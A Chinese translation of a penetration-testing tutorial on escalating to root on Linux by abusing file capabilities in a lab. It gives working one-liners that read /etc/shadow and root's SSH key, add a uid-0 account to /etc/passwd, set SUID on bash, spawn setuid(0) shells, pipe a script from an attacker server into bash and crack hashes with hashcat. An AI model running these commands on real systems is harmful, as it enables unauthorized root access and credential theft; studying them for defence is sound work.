Linux 提權-Capabilities

扛枪的书生發表於2024-06-17

本文透過 Google 翻譯 Capabilities – Linux Privilege Escalation - Juggernaut-Sec 這篇文章所產生,本人僅是對機器翻譯中部分表達彆扭的字詞進行了校正及個別註釋補充。


導航

  • 0 前言
  • 1 什麼是 Capabilities ?
  • 2 列舉 Capabilities
    • 2.1 列舉 Capabilities - 手動方法
      • 2.1.1 程序 Capabilities
      • 2.1.2 服務 Capabilities
      • 2.1.3 使用者 Capabilities
      • 2.1.4 二進位制 Capabilities
    • 2.2 列舉 Capabilities – LinPEAS 方法
  • 3 利用各種 Capabilities
    • 3.1 cap_dac_read_search
      • 3.1.1 cap_dac_read_search – gdb
      • 3.1.2 cap_dac_read_search – perl
      • 3.1.3 cap_dac_read_search – tar
      • 3.1.4 cap_dac_read_search – vim
    • 3.2 cap_dac_override
      • 3.2.1 cap_dac_override – python3
      • 3.2.2 cap_dac_override – vim
    • 3.3 cap_chown
      • 3.3.1 cap_chown – perl
      • 3.3.2 cap_chown – python3
    • 3.4 cap_fowner
      • 3.4.1 cap_fowner – python3
    • 3.5 cap_setuid
      • 3.5.1 cap_setuid – perl
      • 3.5.2 cap_setuid – python3
    • 3.6 cap_setgid
      • 3.6.1 cap_setgid – python3
  • 4 最後的想法

0、前言

在這篇文章中,我們將深入探討如何利用各種 Capabilities。具體來說,我們將看到攻擊者如何利用六種不同的 Capabilities 來提升使用者許可權到 root 許可權。

我們將使用手動方法和工具方法分別列舉 capabilities,一旦我們獲得了可能被利用的 capabilities 列表,我們將逐一介紹如何利用它們。

1、什麼是 Capabilities ?

Capabilities 是一種特殊屬性,可提供通常為 root 級操作保留的特定(提升)許可權。capabilities 的工作原理是將 root 許可權分解為更小且獨特的單元,這些單元可分配給程序、二進位制檔案、服務和使用者。如果 capabilities 設定得過於寬鬆,或當 capabilities設定在“允許檔案讀取、檔案寫入或命令執行”的二進位制檔案上時,攻擊者就可以將其許可權提升至 root。

作為攻擊者,當我們看到設定的 capabilites 時,我們需要考慮正在使用哪種功能?;該功能設定在什麼位置?;以及,我們可以用此功能做什麼?如果沒有設定此功能,我們無法做什麼?

例如,假設我們設定了一項 capabilites ,它允許文字編輯器命令(vim、nano 等)讀取特權檔案。那麼,我們知道我們可以讀取檔案系統上的任何檔案。這意味著我們可以檢視敏感檔案,如配置檔案、/etc/shadow 檔案,或者可能是 /root/.ssh 目錄中的 id_rsa 檔案。選項無窮無盡;但是,我們需要了解在具有這種功能的 Linux 系統上需要注意什麼或什麼是 "敏感 "的。

有關所有不同 Linux Capabilites的列表,請看[man](capabilities(7) - Linux manual page)手冊。此外,您還可以訪問本頁面,以更全面地瞭解什麼是功能及其工作原理。最後,HackTricks 有關Capabilites 的頁面也是令人難以置信的,所以我也要把它連結到這裡。

Linux 中有許多不同的 capabilities。例如,Ubuntu 16.04 上有 37 種功能,新版本中可能更多;然而,在本文中,我們將僅介紹其中較危險的 6 種功能。

2、列舉 Capabilities

在這個例子中,我們作為標準使用者“Juggernaut”在 Linux(Ubuntu 16.04)目標上獲得了立足點。

由於此 shell 不是使用 SSH 建立的,因此在獲得立足點後,我們要做的第一件事就是將 shell 升級為完整 TTY(如果可以的話)。我們可以使用以下命令集執行此操作:

python -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z 
stty raw -echo;fg
export TERM=xterm

現在我們有了完整的 TTY,我們可以使用箭頭瀏覽命令歷史記錄、使用製表符補全、清除終端等等。

對於我們來說,完成上述步驟非常重要,因為我們將使用一些需要在完整 TTY 環境下進行互動的二進位制命令。

完成這一步之後,我們就可以開始專注於列舉了。首先,我們將瞭解如何使用手動方法列舉 capabilities,然後我們將使用 LinPEAS 自動為我們找到所有相同的資訊。

2.1、列舉 Capabilities - 手動方法

由於程序、二進位制檔案、服務和使用者都可以設定 capabilities,因此有一些不同的命令以及不同的位置可以查詢有關設定了哪些 capabilities 的資訊。

在這篇文章中我們將重點關注二進位制 capabilities,但也讓我們快速瞭解一下如何定位其他型別【即程序、服務、使用者】的 capabilities 。

2.1.1、程序 Capabilities

要查詢正在執行的程序的 capabilities,我們首先需要確定我們感興趣的程序。我們可以使用以下命令執行此操作:

ps -ef

找到感興趣的程序後,記下 PID;例如,如果 PID 為 6306,則執行以下命令:

cat /proc/6306/status | grep Cap

我們可以看到它列印了五種型別的 capabilities:

  • CapInh = 繼承
  • CapPrm = 允許
  • CapEff = 有效
  • CapBnd = 邊界集
  • CapAmb = 環境集

然後我們可以解碼這些來檢視該程序有什麼(重點是 CapPrm):

capsh --decode=0000000000000004

太棒了!如果這個程序是 cat、vim、nano 等,那麼它可以用來讀取敏感檔案。

2.1.2、服務 Capabilities

我們可以檢查給定服務的 capabilities,但首先我們需要找到系統上有哪些服務。為此,我們可以檢查以下位置:

  • /usr/lib/systemd/system/*
  • /etc/systemd/system/*
  • /run/systemd/system/*
  • /lib/systemd/system/*

找到感興趣的服務後,使用cat命令檢視服務檔案並查詢AmbientCapabilities

cat /lib/systemd/system/mysql.service

預設情況下,以 root 身份執行的服務將被分配所有 capabilities。然而,即使是非 root 級服務也可能過於 "能幹",允許潛在的橫向許可權升級,這實際上就離 root 更近了一步。

2.1.3、使用者 Capabilities

為使用者分配的 capabilities,這意味著如果沒有特別指定,使用者執行的每個程序都將預設擁有為使用者設定的 capabilities。

當 capabilities 已分配給單個使用者時,可以在 /etc/security/capability.conf 檔案中找到它們。如:

cat /etc/security/capability.conf

如果為使用者提供了正確的 capabilities,那麼他們的程序就會被劫持,從而提升許可權。

2.1.4、二進位制 Capabilities

好了,開始講有趣的內容吧!二進位制功能將成為本文的重點,因為我們將回顧在各種二進位制命令上設定 6 種不同的 capabilities,這些 capabilities 將允許命令以特權讀取訪問任何事情,以及以 root 身份執行完整命令等一切操作。

要查詢整個檔案系統中所有設定了 capabilities 的二進位制檔案,我們可以使用以下命令:

getcap -r / 2>/dev/null

在這裡,我們可以看到五個不同的二進位制命令,它們設定了一大堆不同的 capabilities;最重要的是,它們都可以透過某種方式被利用,要麼導致立即提升許可權,要麼讓我們更接近提升許可權。另外,請注意二進位制檔案的位置。通常會將原始二進位制檔案的副本移動到非標準位置,然後向其中新增功能,這樣原始二進位制檔案就不會被篡改。

在進入精彩內容並檢視上述每項突出功能的示例之前,讓我們快速瞭解一下如何從 LinPEAS 的輸出中找到這些功能。

注:關於使用者、命令、程序之間的 Capabilities 關係。

root 程序的預設 ep 集功能是全部,而普通使用者程序的預設 ep 集是空,當命令本身被賦予指定 Capabilities 之後,以不同使用者身份執行,ep 集則會在原有的使用者功能集基礎上再進行命令功能集的功能集合並。 這一點在 root shell 環境中看不出來什麼,但是在普通使用者 shell 環境中差異很明顯。

2.2、列舉 Capabilities – LinPEAS 方法

LinPEAS 是一款終極的後滲透列舉工具,因為它提供了大量資訊。在受害者上執行該工具後,我們將看到手動列舉發現的所有相同內容,甚至更多。然而,在使用工具之前展示手動步驟非常重要,這樣我們才能瞭解工具的輸出以及要查詢的內容。

如果您沒有 LinPEAS 的副本,您可以 在這裡獲取一份。

通常,當我們執行 LinPEAS 時,我們會不帶引數執行“所有檢查”,然後從上到下逐行梳理所有輸出。

執行完整掃描時的一個好技巧是將 PEAS 的輸出重定向到檔案,以便使用 grep快速解析常見漏洞和關鍵字。

獲得 LinPEAS 副本後,我們通常會將副本傳輸給受害者。但是,在本例中,我們將把它下載到記憶體中,這樣檔案就不會接觸磁碟。

首先,我們需要從linpeas.sh所在的目錄在攻擊者的機器上設定一個 HTTP 伺服器。

python3 -m http.server 80

然後,回到受害機器上,我們可以使用以下命令將 LinPEAS 直接下載到記憶體中並執行:

curl 172.16.1.30/linpeas.sh | bash

透過將命令直接傳送到 bash,curl 會將檔案直接輸入到 bash 中並執行我們嘗試“下載”的指令碼,而無需將指令碼寫入磁碟!

這裡看到全是 0,證實檔案沒有下載到磁碟,這意味著指令碼直接在記憶體中執行!

好了,指令碼執行完畢後,我們可以梳理結果,看看是否有任何可利用的 capabilities。進入 Interesting Files 部分,我們可以看到 PEAS 尋找的所有不同型別的 capabilities,其中包括程序、檔案和使用者 capabilities。

這裡我們可以看到很多紅色/黃色的標識,這表明這些途徑很可能導致我們的許可權提升(95% 以上的確定性)。某些 capabilities 會出現紅色/黃色,其他功能也會出現紅色;但是,我們應該深入研究所有這些 capabilities,看看是否有辦法讓我們進行惡意攻擊。

現在我們已經瞭解瞭如何列舉 capabilities,我們可以進入利用階段,看看這些 capabilities 可以讓我們做什麼。

3、利用各種 Capabilities

對於利用示例,我們將重點關注以下六種 capabilities:

  • cap_dac_read_search --> 允許任何檔案讀取。
  • cap_dac_override --> 允許任何檔案寫入。
  • cap_chown --> 允許任何檔案的所有者更改。
  • cap_fowner --> 允許任何檔案的許可權更改。
  • cap_setuid --> 允許以特權方式執行二進位制檔案 – 以檔案所有者身份執行(相當於 SUID)
  • cap_setgid --> 允許以特權方式執行設定二進位制檔案 – 以組所有者身份執行(相當於 SGID)

為了找到利用這些 capabilities 的命令,我們將利用令人驚歎的 GTFOBins 網站。

GTFOBins 代表 Get The F*#k Out Binaries,它是精選的 Unix 二進位制檔案列表,可用於在配置錯誤的系統中繞過本地安全限制。

關於 GTFOBins 的一個重要提示是,給定二進位制檔案的 capabilities 函式通常圍繞 cap_setuid 功能展開。但是,作為攻擊者,我們應該考慮這種能力能讓我們做什麼,然後尋找與這種能力相關的特定功能或用法。例如,以下是可用於各種 Unix 二進位制檔案的函式列表。

我們看到 capabilities 被作為一個函式被列出,但如果我們只過濾具有此函式的二進位制檔案(即過濾條件為 +capabilities),我們就會錯過很多其它可能。例如,讓我們關注列表中的第一個功能:cap_dac_read_search。由於此功能允許我們以 root 級許可權讀取檔案,我們可以過濾到 “File Read” 而不是 “Capabilities” ,我們會發現還有更多二進位制檔案可供使用。

上述陳述很重要,因為我們可能會找到具有功能集的二進位制檔案,但是當我們在僅過濾 capabilities 函式後檢查 GTFOBins 時,我們可能看不到我們針對的二進位制檔案,然後假設它不存在漏洞。

注:當二進位制命令擁有了像如 cap_dac_read_search 這樣的能力時,即便該程式在 GTFOBins 網站中的 +capabilities 過濾條件下並未出現,但只要在 +file read 過濾條件下出現,那麼就可以使用該命令對應的讀檔案的特殊方法進行任意特權檔案的讀取。

cap_dac_read_search 功能可讓使用者讀取檔案系統中的任意檔案,包括 root 擁有的所有檔案。如果我們發現文字編輯器(vim、nano 等)、指令碼語言(python、perl、node 等)或壓縮二進位制檔案(tar、zip、gzip 等)等二進位制檔案具有這種功能設定,我們就可以查詢並讀取系統中的任何敏感檔案。

尋找 JUICY 檔案有很多好去處;不過,這種功能通常不會為我們提供直接的 root 訪問許可權,但可以利用它來連鎖利用以獲得 root 許可權。例如,如果 myapp.cnf 檔案位於應用根目錄中,並且具有 MySQL root 使用憑證,該怎麼辦?- 如果是這樣,我們就有可能利用這一功能找到 MySQL 憑據以進入資料庫。這樣,我們就能發現 MySQL 伺服器存在 UDF 漏洞,從而將我們提升到根目錄。

要了解如何使用 MySQL 中的 UDF 漏洞將許可權從標準使用者提升到 root,請檢視此處我關於此主題的帖子。

好的,從 PEAS 和手動列舉的輸出中,我們可以看到以下二進位制檔案啟用了 cap_dac_read_search 功能:gdbperltarvim

3.1.1、cap_dac_read_search – gdb

如前所述,當檢查gdb二進位制檔案的 GTFOBins 時,我們可以看到相當多的可用函式。

由於顯而易見的原因,最突出的函式是 capabilities 函式;但是,如前所述,只有在二進位制檔案上設定了 cap_setuid 時,該函式才有用。由於 cap_dac_read_search 使我們能夠讀取敏感檔案,因此我們應該將重點放在檔案讀取函式上。

現在我們知道要查詢什麼並且有了要使用的命令,讓我們使用 gdb 轉儲 /etc/shadow 檔案。

需要注意的是,我們需要使用二進位制檔案的絕對路徑,或者cd到包含二進位制檔案的資料夾並使用 ./ 符號來執行我們的命令。由於設定了 capabilities 的二進位制檔案是原始二進位制檔案的副本,如果我們使用相對路徑來執行它們,它將遵循 PATH 變數並最終執行預設的二進位制命令而非設定了capabilities的命令。對於這些示例,我們將使用絕對路徑來 100% 確保我們使用的是正確的二進位制檔案。此示例中的二進位制檔案位於 Juggernaut 使用者家目錄中下的名為 /bin 的自定義資料夾中。

/home/juggernaut/bin/gdb -nx -ex 'python print(open("/etc/shadow").read())' -ex quit

轟!就這樣,我們發現自己能夠讀取影子檔案,而作為標準使用者,我們本不應該能夠讀取它。這樣,我們現在就可以獲取 root 雜湊以及我們找到的所有其他使用者雜湊,並嘗試破解它們,以將我們的許可權水平提升到另一個標準使用者或垂直提升到 root 使用者。

3.1.2、cap_dac_read_search – perl

與我們使用 gdb 二進位制檔案時一樣,對於perl,我們也希望關注檔案讀取功能。

該命令使用 LFILE 作為變數,然後將該變數傳遞給 perl 命令。我們不需要這樣做...相反,我們只需將第二條命令中的 $LFILE 替換為我們要讀取的檔案的絕對路徑,就能實現同樣的目的。

/home/juggernaut/bin/perl -ne print '/root/.ssh/id_rsa'

太棒了!就這樣,我們發現我們能夠轉儲 root 的 SSH 金鑰!現在我們可以將此金鑰複製到攻擊者的機器上,然後以 root 身份透過 SSH 進入受害者!

複製整個金鑰,然後將其貼上到攻擊者機器上的文字編輯器中。

接下來,我們需要使用以下命令降低此檔案的許可權:

chmod 600 ./root_id_rsa

現在我們可以使用 id_rsa 在不提供密碼的情況下透過 SSH 獲取 root shell。

ssh -i ./root_id_rsa root@172.16.1.175

3.1.3、cap_dac_read_search – tar

首先檢查 GTFObins 上的檔案讀取功能。

就像我們在 perl 中看到的那樣,他們在 tar 命令中使用變數;但是,我們可以將第二個命令中的 $LFILE 替換為我們感興趣的檔名,例如 root 的 bash 歷史檔案 - 作為示例。

/home/juggernaut/bin/tar xf "/root/.bash_history" -I '/bin/sh -c "cat 1>&2"'

有趣的是...在這裡我們可以看到,透過轉儲 root 的 bash 歷史記錄檔案,我們被提示在 root目錄中存在一個名為 passwords.txt 的檔案,而如果我們沒有先檢查這個檔案,那就不會知道它的存在。

3.1.4、cap_dac_read_search – vim

作為特權檔案讀取的最後一個示例,我們將使用文字編輯器“vim”開啟檔案並檢視其內容。檢查 GTFOBins 後,我們會看到以下內容:

非常簡單,我們只需執行 vim 命令,然後執行我們要讀取的檔案。由於我們在上一個示例中的 /root 目錄中發現了一個有趣的檔案,名為 passwords.txt,因此讓我們檢查一下。

/home/juggernaut/bin/vim /root/passwords.txt

該檔案裡面是一份密碼列表(正如預期的那樣)。現在,我們可以拿著這份密碼列表,嘗試將它們輸入到我們能輸入的任何地方,希望其中一個密碼能讓我們更接近 root shell。

3.2、cap_dac_override

cap_dac_override 功能為使用者提供了寫入檔案系統中任意檔案的能力,其中包括 root 擁有的所有檔案。如果我們發現二進位制檔案(例如文字編輯器(vim、nano 等)或指令碼語言(python、perl、node 等))被分配了此功能…請注意!

我們認為讀取 root 檔案是危險的,想象一下如果我們能夠寫入任何 root 檔案,我們會做什麼?好吧,首先,我們可以在 /etc/passwd 檔案中建立一個 root 使用者,或者透過編輯 /etc/sudoers 檔案為使用者提供完整的 sudo 許可權。我們可以使用許多選項來提升我們的許可權,我們只需要稍微考慮一下。

從 PEAS 和手動列舉的輸出中,我們可以看到以下二進位制檔案啟用了 cap_dac_override 功能:python3vim

3.2.1、cap_dac_override – python3

再次利用 GTFObins,我們可以檢查python(3) 的 File Write 條目。

這看起來很簡單,但有一點我們需要解決,那就是追加資料。如果不指定追加資料,我們就會用一個條目完全覆蓋 passwd 檔案,這是非常糟糕的!

好的,讓我們用它在 /etc/passwd 中建立一個新的 root 使用者,以便我們可以 su 進入該使用者帳戶 - 用以有效地將我們的許可權提升到 root。

為此,我們必須首先使用 openssl 建立一個雜湊密碼。為簡單起見,我們將密碼設定為“password”。

openssl passwd password

請記下雜湊值 eVpbhRfVtH1Uc 因為我們將在下一個命令中使用它。

因此,如果我們想建立一個名為 r00t 的使用者,我們可以在 passwd 檔案中新增以下行 :r00t:eVpbhRfVtH1Uc:0:0:root:/root:/bin/bash ,但首先我們需要更新命令以附加資料,只需將“w+”替換為“a”即可,如下所示:

/home/juggernaut/bin/python3 -c 'open("/etc/passwd","a").write("r00t:eVpbhRfVtH1Uc:0:0:root:/root:/bin/bash")'

現在我們只需使用 su r00t ,然後在提示時提供密碼“ password ”。

3.2.2、cap_dac_override – vim

有什麼比使用 Python 編輯檔案更簡單?文字編輯器。如果在文字編輯器上設定了此功能,遊戲很快就會結束。

就像我們使用 vim 讀取檔案一樣,我們可以開啟任何我們想要的檔案,編輯它,然後儲存更改。

舉個例子,當我們以使用者 juggernaut 的身份立足時,我們不知道他們的密碼。此外,在列舉過程中,我們發現 juggernaut 屬於 sudoers 組。問題是,預設情況下,要使用 sudo su 併成為 root,我們需要知道當前使用者的密碼。這時,編輯 sudoers 檔案就派上用場了。

/home/juggernaut/bin/vim /etc/sudoers

如果我們向下滾動到上面突出顯示的行,我們可以新增 NOPASSWD 來繞過密碼提示。為此,我們需要首先按“i”鍵進入“插入”模式,然後編輯該行,如下所示:

完成後,按CTRL + C退出插入模式,然後輸入:wq!以“強制寫入並退出”。現在我們可以簡單地使用 sudo su 並獲得 root 提示符,而無需知道當前使用者的密碼!

3.3、cap_chown

cap_chown 功能為使用者提供了更改檔案系統中任意檔案或目錄所有權的能力,其中包括 root 擁有的所有檔案和目錄。如果我們發現指令碼語言(python、perl、node 等)等二進位制檔案被賦予了這種能力,我們就可以使用系統命令來更改我們選擇的任何檔案的所有者。

這種能力特別危險的地方在於,它間接允許我們寫入任何檔案。我們需要做的就是先將檔案的所有權更改為當前使用者,編輯它,然後將所有權恢復到原始狀態,就好像什麼都沒發生過一樣。

從 PEAS 和手動列舉的輸出中,我們可以看到以下二進位制檔案啟用了 cap_chown 功能:perlpython3

3.3.1、cap_chown – perl

對於此示例,我們將使用具有 cap_chown 功能的 perl 來更改影子檔案的所有權,以便我們可以編輯它並更改 root 密碼。

如果你對影子檔案還不熟悉,那麼它就是 Linux 中儲存密碼雜湊值的地方。歷史上,這些雜湊值都儲存在 /etc/passwd 中,但該檔案需要能被標準使用者讀取,因此在那裡儲存雜湊值是很危險的。因此,/etc/passwd 中存在一個 "x "佔位符,用來存放雜湊值,該值取自 /etc/shadow,預設情況下標準使用者無法讀取。

在我們採取惡意行動之前,我們需要從 /etc/passwd 檔案中獲取當前使用者的 UID/GID,以便在更改檔案所有權時使用它。

在這裡我們可以看到我們的使用者的 UID 和 GID 為 1000。我們還應該注意到 root 的 UID 和 GID 為 0。此外,影子組的 GID 為 42。

影子檔案歸 root 所有,屬於“shadow”組,該組不是使用者組,但對於任何需要獲取密碼雜湊的程式來說,它都是必需的組。shadow 組是唯一允許訪問影子檔案的組許可權。

好了,既然影子檔案在 shadow 組中,我們可以將檔案所有者更改為我們的使用者,並將組所有權設定為 shadow (42)。這可以透過以下命令輕鬆完成:

/home/juggernaut/bin/perl -e 'chown 1000,42,"/etc/shadow"'

令人驚奇的是,我們可以在這裡看到影子檔案現在歸 juggernaut(我們當前的使用者)所有,並且我們對其具有寫許可權!

在對影子檔案進行任何更改之前,我們需要做幾件事。首先,讓我們生成一個 SHA-512 雜湊來替換為 root 設定的雜湊,這將有效地更改 root 密碼。為此,我們可以在攻擊者機器上使用以下命令生成密碼雜湊(這會將密碼設定為“password”)。

mkpasswd -m sha-512 password

回到受害者,我們需要複製(備份)影子檔案,以便在退出 root shell 後恢復它。這應該不是問題,因為我們現在是該檔案的所有者。

好了,各個部件都準備好了,讓我們把它們組裝起來吧!

複製我們從攻擊者機器生成的密碼,然後使用受害者機器上的文字編輯器開啟影子檔案並用它替換現有的 root 密碼。

前:

後:

一旦更改完成,請儲存並關閉檔案。

我們需要測試是否可以將使用者切換為 root 使用者。為此,我們只需使用su root,然後在提示時輸入密碼,最終我們就會得到 root shell。

砰!成功了!現在我們有了 root shell,我們可以繼續將備份影子檔案複製到原始檔案上,然後使用 chown 再次使 root 成為檔案所有者。這樣,一切都將恢復正常,我們仍然擁有 root shell。

3.3.2、cap_chown – python3

因為 Python3 和 Perl 都是指令碼語言,所以我們只回顧一個使用 Python3 的快速示例。我們可以改變一個目錄的許可權,比如 /root 目錄,而不是改變檔案的所有權以便編輯它。

/home/juggernaut/bin/python3 -c 'import os;os.chown("/root",1000,0)'

執行此命令後,我們對根資料夾擁有了完全訪問許可權。由於許可權是從 /root 資料夾繼承的,因此即使我們看到這些檔案屬於 root,我們仍然可以檢視它們。

3.4、cap_fowner

cap_fowner 功能為使用者提供了更改檔案系統中任意檔案或目錄許可權的能力,其中包括 root 擁有的所有檔案和目錄。如果我們發現指令碼語言(python、perl、node 等)等二進位制檔案被賦予了這種能力,我們就可以使用系統命令來更改我們選擇的任何檔案的許可權。

在我們本篇文章舉例說明的所有功能中,這個可能是最危險的。因為我們可以使用該功能更改任何檔案的許可權,這意味著我們可以讓任何檔案成為全域性可讀可寫,最糟糕的是,我們可以在任何二進位制檔案上設定 SUID 位。

從 PEAS 和手動列舉的輸出中,我們可以看到以下二進位制檔案啟用了 cap_fowner 功能:python3

3.4.1、cap_fowner – python3

在本例中,我們可以做一些我們已經見過的事情,將任何檔案的許可權改為全域性可寫,例如 /etc/passwd 檔案或 /etc/shadow 檔案。我們也可以允許自己讀取root資料夾並獲取 SSH 金鑰。不過,我們要做的是還沒做過的事,在二進位制檔案上設定 SUID 位。

最簡單的方法是將 SUID 位分配給 bash 或任何其他 shell 二進位制檔案;但是,如果我們想要發揮創造力,我們可以將 SUID 位新增到在 SUID 部分中找到的 GTFObins 上的任何二進位制檔案,然後按照步驟獲取 root 許可權。

要快速獲得 root 許可權,只需在 /bin/bash 上設定 SUID 位,如下所示:

/home/juggernaut/bin/python3 -c 'import os;os.chmod("/bin/bash", 0o4755)'

太棒了!我們已成功將 SUID 位新增到 bash。現在我們只需使用命令 /bin/bash -p 即可進入 root shell。

值得一提的一點是,篡改系統中的原始二進位制檔案是一種不好的做法。在不同的情況下,如果你發現可以在 bash 上設定 SUID 位,最好在 /tmp 或其他地方複製一份 bash,然後將 SUID 位應用到該副本中。但在本例中,我們無法這樣做,所以只能修改原始二進位制檔案。

3.5、cap_setuid

cap_setuid 功能可能是我們在 CTF 中最常見的功能。該功能允許使用者以 root 身份執行任何設定了該功能的二進位制檔案。如果我們發現指令碼語言(python、perl、node 等)等二進位制檔案被分配了此功能,我們就可以使用系統命令輕鬆將其就地升級為 root。

檢視 GTFObins 上 “Capabilities” 下的所有二進位制檔案,以瞭解我們可以利用此功能集濫用的不同二進位制檔案。

從 PEAS 和手動列舉的輸出中,我們可以看到以下二進位制檔案啟用了 cap_setuid 功能:perlpython3

3.5.1、cap_setuid – perl

濫用 cap_setuid 功能的最簡單方法是再次檢查 GTFObins 並檢視 “Capabilities” 部分 - 因為它們專門用於針對 cap_setuid 功能。

從上圖我們可以看到,前兩行命令將用於將此功能新增到 perl;但是,它已在我們的目標上設定。因此,對於我們的需求,我們只需使用底部的命令。此外,我們將呼叫 bash 而不是 sh,因為它是一個更好的 shell。

/home/juggernaut/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

3.5.2、cap_setuid – python3

與 perl 相同,我們首先檢查 python 的 GTFObins。

正如我們在 perl 中看到的那樣,前兩行命令將用於將此功能新增到 python;但是,它已經在我們的目標上設定了。同樣,我們將只關注底部的命令,因為此功能已經在目標上,我們將用 “bash” 替換 “sh” 。

/home/juggernaut/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

3.6、cap_setgid

cap_setgid 功能使使用者可以以組所有者身份執行任何已設定此功能的二進位制檔案。如果我們發現某個二進位制檔案(例如指令碼語言 (python、perl、node 等))被分配了此功能,我們可以使用系統命令進入具有提升的組許可權的 shell。

該功能並不如 cap_setuid 那麼強大,因為作為組所有者,我們實際上只獲得了提升的讀取訪問許可權。

從 PEAS 和手動列舉的輸出中,我們可以看到以下二進位制檔案啟用了 cap_chown 功能:python3

3.6.1、cap_setgid – python3

當在 Python3 上設定此功能時,我們可以重複上面看到的相同命令,但將 “os.setuid” 替換為“os.setgid”,以進入具有 root 組許可權的 shell。

/home/juggernaut/bin/python3 -c 'import os; os.setgid(0); os.system("/bin/bash")'

我們仍然是使用者 juggernaut ;但是,我們確實擁有 root 組許可權。這意味著我們可以讀取任何只有 root 可讀的檔案,並且在組許可權中設定了 r 位 。

此外,上面的程式碼片段顯示我們無法使用 root 組許可權訪問 root 資料夾。這是因為 root 資料夾根本沒有設定任何組許可權。

這意味著我們只能讀取 root 資料夾之外的 root 組所擁有的檔案。不幸的是,最適合讀取的檔案確實存在於 root 資料夾中,例如 .bash_history 或 id_rsa 檔案。因此,如果我們碰巧在 /root 之外找到一個設定了 root 組許可權但沒有全域性許可權的檔案,那麼就可以從此 shell 讀取該檔案。

更好的選擇是授予我們影子組許可權,以便我們可以讀取 /etc/shadow 檔案。為此,我們可以將 setgid 設定為 42,而不是 0。

/home/juggernaut/bin/python3 -c 'import os; os.setgid(42); os.system("/bin/bash")'

這裡我們可以看到,我們已經進入了具有 shadow 組許可權的 shell。這樣,我們就可以讀取 shadow 檔案了!

cat /etc/shadow

太棒了!這使我們能夠訪問影子檔案,我們在其中找到了兩個可以嘗試破解的雜湊值。

使用攻擊者機器上的文字編輯器,我們可以複製這兩個雜湊值,然後開始破解密碼。

完成後,我們可以使用 hashcatJohn the Ripper 嘗試破解這些檔案。在本例中,我們將使用 hashcat。

我們可以使用以下命令來快速確定此雜湊型別所需的破解模式:

hashcat -h | grep '$6'

這告訴我們破解模式是 1800。我們還知道雜湊是 SHA-512,因為我們之前生成了自己的雜湊來編輯影子檔案,所以這看起來不錯。

接下來,我們將首先透過測試 rockyou 單詞表來開始破解雜湊值,如果沒有得到任何結果,我們可以對其進行擴充套件。

要擴充套件 Rockyou 的功能,可以嘗試使用 best64 等規則,甚至尋找不同的單詞表。說到雜湊破解,Rockyou 並不是萬能的。

hashcat -m 1800 ./hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt

隨著破解的開始,我們很快就會發現這種雜湊型別的破解速度並不是最快的。例如,這兩個雜湊大約需要 2.5 小時才能破解整個單詞表。

由於這需要很長時間,所以更好的辦法是在使用完整名單之前,先從 SecLists 中測試一些縮短的 Rockyou 名單。

hashcat -m 1800 ./hashes.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt -o cracked.txt

由於這是一個縮短的列表,我們僅用 48 秒就完成了整個過程,並且成功恢復了 1/2 個密碼!

檢查我們將輸出重定向到的 “cracked.txt” 檔案,我們可以看到我們已經破解了 juggernaut 使用者的密碼。

這告訴我們使用者的密碼是 P@ssw0rd ,並且從前面我們看到,該使用者屬於 sudo 組,只要我們知道使用者的密碼,就可以以 root 身份執行任何命令。你猜怎麼著?——我們現在知道密碼了,所以我們可以輕鬆提升到 root 許可權!

當我們執行 sudo -l 命令時,系統會提示輸入密碼,成功輸入密碼後,我們看到當以該使用者身份使用 sudo 時,我們擁有作為 root 的完全許可權。

看到 (ALL) ALL 意味著我們可以簡單地 sudo su – 併成為 root 。

4、最後的想法

我們列舉了六種不同功能的各種示例,但這只是皮毛,因為還有很多很多。我想透過這篇文章達到的目的不僅是向你展示如何利用這些特定功能,而且還要向你展示如何像駭客一樣思考,以及你應該瞄準 Linux 系統中的哪些檔案。

我希望重點介紹如何編輯 /etc/passwd 或 /etc/shadow 檔案、如何使用 id_rsa 檔案透過 SSH 登入、如何破解影子檔案中的密碼雜湊值、SUID 位新增到 bash(或基本上任何二進位制檔案)後可以做什麼 等等。

相關文章